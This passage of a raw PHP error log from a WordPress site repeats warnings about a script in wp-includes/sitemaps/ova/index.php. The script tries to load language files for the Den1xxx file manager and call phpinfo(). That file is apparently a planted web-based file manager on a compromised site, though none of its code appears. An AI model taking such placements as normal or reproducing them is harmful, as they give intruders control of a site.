/home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:37 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:38 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:40 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:40 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:41 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:43 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:44 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:44 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:45 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:45 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:47 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:52 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:19:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:20:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:20:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:20:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:20:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:20:26 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:20:26 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:20:26 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 218 [30-Aug-2025 12:20:26 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 219 [30-Aug-2025 12:20:26 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 220 [30-Aug-2025 12:20:26 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 221 [30-Aug-2025 12:20:26 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 222 [30-Aug-2025 12:20:26 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 223 [30-Aug-2025 12:20:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:20:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:20:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:20:37 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:20:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:20:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:20:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:20:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:20:55 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:20:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:22:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:22:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:10 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:10 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:13 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:19 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:33 UTC] PHP Warning: Undefined variable $ext in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 1118 [30-Aug-2025 12:23:35 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:52 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:55 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:23:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:24:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:24:00 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:24:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:24:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:24:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:24:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:24:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:24:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:24:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:24:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:25:31 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:25:31 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:28:32 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:28:34 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:31:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:31:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:36:40 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:36:45 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:38:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:38:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:39:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:39:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:39:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:39:49 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:42:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:42:02 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:44:38 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 12:44:43 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 13:10:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 13:10:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 13:59:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 14:00:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 14:38:45 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 14:38:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 14:38:55 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 669 [30-Aug-2025 16:44:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 16:44:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 18:12:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 18:12:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 21:46:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 21:46:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 21:54:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 21:54:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [30-Aug-2025 21:54:28 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 596 [30-Aug-2025 21:54:28 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 597 [01-Sep-2025 05:52:35 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in 